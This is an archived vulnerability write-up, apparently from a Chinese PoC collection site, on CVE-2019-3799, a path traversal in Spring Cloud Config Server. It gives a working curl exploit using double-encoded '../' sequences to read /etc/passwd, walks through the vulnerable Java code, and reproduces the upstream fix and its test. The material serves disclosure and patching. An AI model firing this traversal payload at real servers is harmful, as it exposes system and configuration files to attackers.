关联漏洞
标题:
Pivotal Software Spring Cloud Config 路径遍历漏洞
(CVE-2019-3799)
描述:Pivotal Software Spring Cloud Config是美国Pivotal Software公司的一套分布式系统的配置管理解决方案。该产品主要为分布式系统中的外部配置提供服务器和客户端支持。 Pivotal Software Spring Cloud Config中存在路径遍历漏洞,该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。以下版本受到影响:Spring Cloud Config 2.1.2之前的2.1.x版本,2.0.4
描述
CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6
介绍
# CVE-2019-3799 - Spring-Cloud-Config-Server Directory Traversal < 2.1.2, 2.0.4, 1.4.6
Spring Cloud Config Server is vulnerable to a directory Traversal / Path traversal / File Content Disclosure < 2.1.2, 2.0.4, 1.4.6
> Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.

Found by Vern (vern@qq.com)
**Security Advisory**
- https://pivotal.io/security/cve-2019-3799
- https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released
**Technical Anlysis**
- https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/
---
### Proof Of Concept
1. Download a vulnerable version of Spring Cloud Config https://github.com/spring-cloud/spring-cloud-config
2. Run the application
```
cd spring-cloud-config-server
../mvnw spring-boot:run
```
3. Exploit
```
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```
### The vulnerability
As always, by reading the documentation we can find the relevant information:
Serving plain text file: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text
> The Config Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path} where "name", "profile" and "label" have the same meaning as the regular environment endpoint, but "path" is a file name (e.g. log.xml).
> Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path}
Another intersting information form the doc:
> With VCS based backends (git, svn) files are checked out or cloned to the local filesystem. By default they are put in the system temporary directory with a prefix of config-repo-. On linux, for example it could be /tmp/config-repo-<randomid>
What append when we send `http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd `
1. The request is mapped with
https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71
```java
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
```
2. The function `retrieve` call the function `findOne`
https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L103
```java
synchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (checkNotModified(request, resource)) {
// Content was not modified. Just return.
return null;
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = resource.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
```
3. The function `findOne` is called:
```java
public synchronized Resource findOne(String application, String profile, String label, String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
try {
for (int i = locations.length; i-- > 0; ) {
String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
for (String local : getProfilePaths(profile, path)) {
Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
if (file.exists() && file.isReadable()) {
return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
```
4. Then the function `retrieve` read the file with `StreamUtils.copyToString(is, Charset.forName("UTF-8")` that convert `/tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd` to `/etc/passwd` resulting to the disclosure of the file `/etc/passwd`

---
Fix: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

```diff
From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <spencer@gibb.us>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths
fixes gh-1355
---
.../resource/GenericResourceRepository.java | 165 ++++++++++++++++--
.../GenericResourceRepositoryTests.java | 18 ++
2 files changed, 170 insertions(+), 13 deletions(-)
diff --git a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
index 1d7b9d117..0f3a071cb 100644
--- a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
+++ b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java
@@ -17,14 +17,20 @@
package org.springframework.cloud.config.server.resource;
import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.URLDecoder;
import java.util.Collection;
import java.util.LinkedHashSet;
import java.util.Set;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+
import org.springframework.cloud.config.server.environment.SearchPathLocator;
import org.springframework.context.ResourceLoaderAware;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
+import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;
/**
@@ -35,6 +41,8 @@
public class GenericResourceRepository
implements ResourceRepository, ResourceLoaderAware {
+ private static final Log logger = LogFactory.getLog(GenericResourceRepository.class);
+
private ResourceLoader resourceLoader;
private SearchPathLocator service;
@@ -51,22 +59,28 @@ public void setResourceLoader(ResourceLoader resourceLoader) {
@Override
public synchronized Resource findOne(String application, String profile, String label,
String path) {
- String[] locations = this.service.getLocations(application, profile, label).getLocations();
- try {
- for (int i = locations.length; i-- > 0;) {
- String location = locations[i];
- for (String local : getProfilePaths(profile, path)) {
- Resource file = this.resourceLoader.getResource(location)
- .createRelative(local);
- if (file.exists() && file.isReadable()) {
- return file;
+
+ if (StringUtils.hasText(path)) {
+ String[] locations = this.service.getLocations(application, profile, label)
+ .getLocations();
+ try {
+ for (int i = locations.length; i-- > 0; ) {
+ String location = locations[i];
+ for (String local : getProfilePaths(profile, path)) {
+ if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
+ Resource file = this.resourceLoader.getResource(location)
+ .createRelative(local);
+ if (file.exists() && file.isReadable()) {
+ return file;
+ }
+ }
}
}
}
- }
- catch (IOException e) {
- throw new NoSuchResourceException(
- "Error : " + path + ". (" + e.getMessage() + ")");
+ catch (IOException e) {
+ throw new NoSuchResourceException(
+ "Error : " + path + ". (" + e.getMessage() + ")");
+ }
}
throw new NoSuchResourceException("Not found: " + path);
}
@@ -94,4 +108,129 @@ public synchronized Resource findOne(String application, String profile, String
return paths;
}
+ /**
+ * Check whether the given path contains invalid escape sequences.
+ * @param path the path to validate
+ * @return {@code true} if the path is invalid, {@code false} otherwise
+ */
+ private boolean isInvalidEncodedPath(String path) {
+ if (path.contains("%")) {
+ try {
+ // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 chars
+ String decodedPath = URLDecoder.decode(path, "UTF-8");
+ if (isInvalidPath(decodedPath)) {
+ return true;
+ }
+ decodedPath = processPath(decodedPath);
+ if (isInvalidPath(decodedPath)) {
+ return true;
+ }
+ }
+ catch (IllegalArgumentException | UnsupportedEncodingException ex) {
+ // Should never happen...
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Process the given resource path.
+ * <p>The default implementation replaces:
+ * <ul>
+ * <li>Backslash with forward slash.
+ * <li>Duplicate occurrences of slash with a single slash.
+ * <li>Any combination of leading slash and control characters (00-1F and 7F)
+ * with a single "/" or "". For example {@code " / // foo/bar"}
+ * becomes {@code "/foo/bar"}.
+ * </ul>
+ * @since 3.2.12
+ */
+ protected String processPath(String path) {
+ path = StringUtils.replace(path, "\\", "/");
+ path = cleanDuplicateSlashes(path);
+ return cleanLeadingSlash(path);
+ }
+
+
+ private String cleanDuplicateSlashes(String path) {
+ StringBuilder sb = null;
+ char prev = 0;
+ for (int i = 0; i < path.length(); i++) {
+ char curr = path.charAt(i);
+ try {
+ if ((curr == '/') && (prev == '/')) {
+ if (sb == null) {
+ sb = new StringBuilder(path.substring(0, i));
+ }
+ continue;
+ }
+ if (sb != null) {
+ sb.append(path.charAt(i));
+ }
+ }
+ finally {
+ prev = curr;
+ }
+ }
+ return sb != null ? sb.toString() : path;
+ }
+
+
+ private String cleanLeadingSlash(String path) {
+ boolean slash = false;
+ for (int i = 0; i < path.length(); i++) {
+ if (path.charAt(i) == '/') {
+ slash = true;
+ }
+ else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
+ if (i == 0 || (i == 1 && slash)) {
+ return path;
+ }
+ return (slash ? "/" + path.substring(i) : path.substring(i));
+ }
+ }
+ return (slash ? "/" : "");
+ }
+
+
+ /**
+ * Identifies invalid resource paths. By default rejects:
+ * <ul>
+ * <li>Paths that contain "WEB-INF" or "META-INF"
+ * <li>Paths that contain "../" after a call to
+ * {@link org.springframework.util.StringUtils#cleanPath}.
+ * <li>Paths that represent a {@link org.springframework.util.ResourceUtils#isUrl
+ * valid URL} or would represent one after the leading slash is removed.
+ * </ul>
+ * <p><strong>Note:</strong> this method assumes that leading, duplicate '/'
+ * or control characters (e.g. white space) have been trimmed so that the
+ * path starts predictably with a single '/' or does not have one.
+ * @param path the path to validate
+ * @return {@code true} if the path is invalid, {@code false} otherwise
+ * @since 3.0.6
+ */
+ protected boolean isInvalidPath(String path) {
+ if (path.contains("WEB-INF") || path.contains("META-INF")) {
+ if (logger.isWarnEnabled()) {
+ logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
+ }
+ return true;
+ }
+ if (path.contains(":/")) {
+ String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
+ if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
+ if (logger.isWarnEnabled()) {
+ logger.warn("Path represents URL or has \"url:\" prefix: [" + path + "]");
+ }
+ return true;
+ }
+ }
+ if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
+ if (logger.isWarnEnabled()) {
+ logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]");
+ }
+ return true;
+ }
+ return false;
+ }
}
diff --git a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
index 7262a4ce4..1db865aee 100644
--- a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
+++ b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java
@@ -18,15 +18,19 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.ExpectedException;
import org.springframework.boot.WebApplicationType;
import org.springframework.boot.builder.SpringApplicationBuilder;
+import org.springframework.boot.test.rule.OutputCapture;
import org.springframework.cloud.config.server.environment.NativeEnvironmentProperties;
import org.springframework.cloud.config.server.environment.NativeEnvironmentRepository;
import org.springframework.cloud.config.server.environment.NativeEnvironmentRepositoryTests;
import org.springframework.context.ConfigurableApplicationContext;
+import static org.hamcrest.Matchers.containsString;
import static org.junit.Assert.assertNotNull;
/**
@@ -35,6 +39,12 @@
*/
public class GenericResourceRepositoryTests {
+ @Rule
+ public OutputCapture output = new OutputCapture();
+
+ @Rule
+ public ExpectedException exception = ExpectedException.none();
+
private GenericResourceRepository repository;
private ConfigurableApplicationContext context;
private NativeEnvironmentRepository nativeRepository;
@@ -79,4 +89,12 @@ public void locateMissingResource() {
assertNotNull(this.repository.findOne("blah", "default", "master", "foo.txt"));
}
+ @Test
+ public void invalidPath() {
+ this.exception.expect(NoSuchResourceException.class);
+ this.nativeRepository.setSearchLocations("file:./src/test/resources/test/{profile}");
+ this.repository.findOne("blah", "local", "master", "..%2F..%2Fdata-jdbc.sql");
+ this.output.expect(containsString("Path contains \"../\" after call to StringUtils#cleanPath"));
+ }
+
}
```
文件快照
[4.0K] /data/pocs/f7c977a8bc88de1c973b7cc8a14872120ba742ff
└── [ 16K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。